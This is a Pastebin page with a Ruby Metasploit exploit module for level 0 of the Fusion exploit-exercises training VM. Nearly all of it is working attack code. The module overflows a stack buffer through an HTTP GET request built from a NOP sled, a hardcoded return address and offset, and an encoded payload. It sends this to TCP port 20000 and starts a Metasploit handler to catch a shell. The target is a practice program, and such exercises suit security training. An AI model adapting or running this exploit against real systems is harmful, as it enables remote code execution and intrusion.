Advertisement
Xenithz

Fusion Exploit-Exercise Level 0

Apr 19th, 2012
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.80 KB | None | 0 0
  1. #
  2. # Fusion Stack Overflow level 0
  3. # by Xelenonz
  4. # http://Xelenonz.blogspot.com
  5.  
  6. require 'msf/core'
  7.  
  8. class Metasploit3 < Msf::Exploit::Remote
  9.  
  10.       include Msf::Exploit::Remote::Tcp
  11.  
  12.       def initialize(info = {})
  13.                 super(update_info(info,
  14.                         'Name'           => 'Fusion Stack Overflow level 0',
  15.                         'Description'    => %q{
  16.                                         Exploit for Fusion Level 0 Exploit-exercise About Stack Overflow
  17.                                              },
  18.                         'Author'         => [ 'Xelenonz' ],
  19.                         'Version'        => '0.1',
  20.                
  21.                         'Payload'        =>
  22.                                 {
  23.                                         'Space'    => 400,
  24.                                 },
  25.                         'Platform'       => 'linux',
  26.  
  27.                         'Targets'        =>
  28.                                 [
  29.                                 ['linux x86',{ 'Ret' => 0xbffff9c0, 'Offset' => 139 } ],
  30.                                 ],
  31.                         'DefaultTarget' => 0,
  32.  
  33.                         'Privileged'     => false
  34.                         ))
  35.  
  36.                         register_options(
  37.                         [
  38.                                 Opt::RPORT(20000)
  39.                         ], self.class)
  40.        end
  41.  
  42.  
  43.        def exploit
  44.          print_status("Generate Payload data")
  45.          data = "GET " + make_nops(target['Offset']) + [target.ret].pack('V') + " HTTP/1.1 \n" + "\x90"*200 + payload.encode
  46.          print_status("Connect to target")
  47.          connect
  48.          print_status("Sending #{data.size} byte payload...")
  49.          sock.put(data)
  50.          print_status("Trigger control handler")
  51.          handler
  52.          disconnect
  53.        end
  54. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement